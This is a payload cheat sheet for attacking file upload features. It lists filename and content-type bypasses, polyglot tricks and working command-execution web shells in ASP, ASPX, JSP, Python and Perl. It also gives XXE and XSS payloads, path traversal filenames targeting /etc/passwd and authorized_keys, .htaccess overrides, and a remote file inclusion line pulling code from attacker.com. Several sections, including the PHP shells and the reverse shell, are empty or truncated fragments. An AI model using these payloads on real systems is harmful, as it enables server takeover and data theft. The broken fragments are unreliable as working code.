# File Upload Vulnerability Payloads (2020-2025 Bug Bounty Tested) # ============================ # FILE EXTENSION BYPASSES # ============================ # Double Extensions shell.php.jpg shell.php.png shell.php.gif shell.php.pdf shell.php.txt shell.jpg.php shell.png.php exploit.asp.jpg exploit.aspx.png backdoor.jsp.gif # Case Variations shell.PHP shell.PhP shell.pHp shell.Php shell.PHp shell.ASP shell.ASPX shell.AsP shell.JSP # Null Byte Injection (older systems) shell.php%00.jpg shell.php%00.png shell.php\x00.jpg shell.asp%00.gif exploit.jsp%00.pdf # Special Characters shell.php..... shell.php%20 shell.php%0a shell.php%00 shell.php%0d%0a shell.php::$DATA shell.php::$INDEX_ALLOCATION # Alternate Extensions (PHP) shell.php3 shell.php4 shell.php5 shell.php7 shell.phtml shell.phar shell.phpt shell.pgif shell.pht shell.inc shell.hphp shell.ctp # Alternate Extensions (ASP/ASPX) shell.asp shell.aspx shell.asa shell.asax shell.ascx shell.ashx shell.asmx shell.cer shell.config shell.soap shell.rem # Alternate Extensions (JSP) shell.jsp shell.jspx shell.jsw shell.jsv shell.jspf # Other Language Extensions shell.pl shell.pm shell.cgi shell.py shell.pyc shell.rb shell.rbw shell.sh shell.bash # Executable Extensions malware.exe backdoor.bat script.cmd payload.ps1 reverse.sh # Server Config Files .htaccess .htpasswd web.config httpd.conf .user.ini php.ini # ============================ # CONTENT-TYPE BYPASSES # ============================ # Common Content-Type Headers to Test: # Legitimate looking but with malicious content Content-Type: image/jpeg Content-Type: image/png Content-Type: image/gif Content-Type: image/bmp Content-Type: image/svg+xml Content-Type: application/pdf Content-Type: application/zip Content-Type: text/plain Content-Type: text/csv Content-Type: application/octet-stream Content-Type: video/mp4 Content-Type: audio/mpeg # Empty or null Content-Type: Content-Type: null Content-Type: undefined # Malformed Content-Type: image/jpeg; charset=binary Content-Type: multipart/form-data; boundary=something # ============================ # MAGIC BYTES (File Signatures) # ============================ # PHP Web Shell with JPEG Header FF D8 FF E0 (JPEG magic bytes) # PHP Web Shell with PNG Header 89 50 4E 47 0D 0A 1A 0A (PNG magic bytes) # PHP Web Shell with GIF Header GIF89a # PHP Web Shell with PDF Header %PDF-1.4 # PHP Web Shell with ZIP Header PK (ZIP magic bytes) # ============================ # POLYGLOT FILES (Valid Image + Valid Code) # ============================ # GIF + PHP Polyglot GIF89a # JPEG + PHP Polyglot (with comment) # Add PHP code in JPEG comment section # Use exiftool: exiftool -Comment='' image.jpg # PNG + PHP Polyglot # Use PNG ancillary chunks to hide PHP code # BMP + PHP Polyglot # BMP header followed by PHP code in pixel data # ============================ # WEB SHELL PAYLOADS # ============================ # === PHP Web Shells === # Simple PHP Shell # PHP Shell with POST # PHP Eval Shell # PHP Passthru Shell # PHP Exec Shell # PHP Shell_exec # PHP Backdoor "; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; } ?> # PHP File Manager Shell # PHP One-liner Shells # Obfuscated PHP Shell # PHP Reverse Shell &3 2>&3"); ?> # === ASP/ASPX Web Shells === # ASP Shell <% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Response.Write(oScript.Exec("cmd /c " & Request.QueryString("cmd")).StdOut.ReadAll()) %> # ASPX Shell <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> # ASPX One-liner <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%> # === JSP Web Shells === # JSP Shell <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); InputStream in = p.getInputStream(); int i; while((i = in.read()) != -1) { out.print((char)i); } %> # JSP One-liner <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> # === Python Web Shell === #!/usr/bin/env python import os import cgi form = cgi.FieldStorage() cmd = form.getvalue('cmd') os.system(cmd) # === Perl Web Shell === #!/usr/bin/perl use CGI; $q = CGI->new; print $q->header; print `$q->param('cmd')`; # ============================ # XSS VIA FILE UPLOAD # ============================ # HTML File Upload # SVG File Upload with XSS # SVG with XSS (onload) # PDF with XSS (if rendered in browser) %PDF-1.4 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction << /S /JavaScript /JS (app.alert('XSS');) >> >> endobj # XML with XSS ]> # ============================ # XXE VIA FILE UPLOAD # ============================ # SVG with XXE ]> &xxe; # XML with XXE ]> &xxe; # XXE - Parameter Entity %xxe; ]> &exfil; # XXE - Blind OOB %sp; %param1; ]> &exfil; # ============================ # PATH TRAVERSAL IN FILENAME # ============================ # Directory Traversal ../../../etc/passwd ..\..\..\..\windows\system32\config\sam ....//....//....//etc/passwd # Overwrite Important Files ../../../var/www/html/index.php ../../../.ssh/authorized_keys ../../config.php ../../../.htaccess ../../wp-config.php # Filename with Path Traversal ../../../../tmp/shell.php ..%2f..%2f..%2fetc%2fpasswd ..%252f..%252f..%252fetc%252fpasswd # ============================ # HTACCESS FILE UPLOAD # ============================ # .htaccess to Execute PHP AddType application/x-httpd-php .jpg AddType application/x-httpd-php .png AddType application/x-httpd-php .gif # .htaccess to Execute All Files as PHP AddType application/x-httpd-php . SetHandler application/x-httpd-php # .htaccess to Bypass Upload Restrictions SetHandler application/x-httpd-php # ============================ # WEB.CONFIG FILE UPLOAD (IIS) # ============================ # ============================ # ARCHIVE-BASED ATTACKS # ============================ # ZIP Slip - Malicious Archive # Create zip file with: ../../../../var/www/html/shell.php # ZIP with Symlink # ln -s /etc/passwd passwd.txt # zip --symlinks payload.zip passwd.txt # TAR with Path Traversal # tar -cf payload.tar ../../../../var/www/html/shell.php # Zip Bomb (DoS) # Create highly compressed file that expands to huge size # ============================ # IMAGE METADATA INJECTION # ============================ # EXIF Data with XSS (if displayed) exiftool -Comment='' image.jpg # EXIF Data with PHP Code exiftool -Comment='' image.jpg # IPTC Data Injection exiftool -IPTC:Caption-Abstract='' image.jpg # ============================ # SERVER-SPECIFIC BYPASSES # ============================ # Apache shell.php.jpg (with .htaccess: AddType application/x-httpd-php .jpg) .htaccess file to execute images as PHP # IIS shell.asp;.jpg shell.asp:.jpg web.config to execute images as ASP # Nginx shell.php%00.jpg (older versions) Upload to misconfigured alias/location # Tomcat shell.jsp%00.jpg shell.jspx # ============================ # RACE CONDITION FILE UPLOAD # ============================ # Upload file quickly and access before validation/deletion # Technique: Concurrent upload and access requests # ============================ # FILE UPLOAD WITH SIZE BYPASS # ============================ # Small malicious file # Compressed PHP shell # GIF + JavaScript GIF89a/*alert(1) # Long Filename DoS # Create extremely long filename to bypass validation # Multiple Content-Disposition Content-Disposition: form-data; name="file"; filename="safe.jpg" Content-Disposition: form-data; name="file"; filename="shell.php" # Null Session (Windows) \\127.0.0.1\c$\inetpub\wwwroot\shell.php # Case Sensitivity Issues ShElL.PhP SHELL.php Shell.PHP # ============================ # FRAMEWORK-SPECIFIC BYPASSES # ============================ # WordPress wp-content/uploads/shell.php wp-content/themes/shell.php wp-content/plugins/shell.php # Drupal sites/default/files/shell.php # Joomla media/shell.php images/shell.php # Laravel storage/app/shell.php public/uploads/shell.php # Django media/uploads/shell.py # ============================ # REMOTE FILE INCLUSION VIA UPLOAD # ============================ # Upload file containing: # Then access with: ?file=http://attacker.com/shell.txt ?file=php://input (with POST data containing PHP code) ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ # ============================ # FILE UPLOAD WITH SSRF # ============================ # Upload file that triggers SSRF # ============================ # DESERIALIZATION VIA FILE UPLOAD # ============================ # PHP Phar Deserialization # Upload malicious .phar file # Trigger via: file_get_contents('phar://uploads/payload.phar/test.txt') # Java Deserialization # Upload serialized Java object # Trigger if application deserializes uploaded files # ============================ # EICAR TEST FILE (AV Bypass Testing) # ============================ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* # ============================ # BINARY PAYLOAD ENCODINGS # ============================ # Base64 Encoded Shell # Hex Encoded # ROT13 # ============================ # ALTERNATIVE DATA STREAMS (Windows/NTFS) # ============================ shell.php::$DATA shell.asp::$DATA payload.txt:hidden.php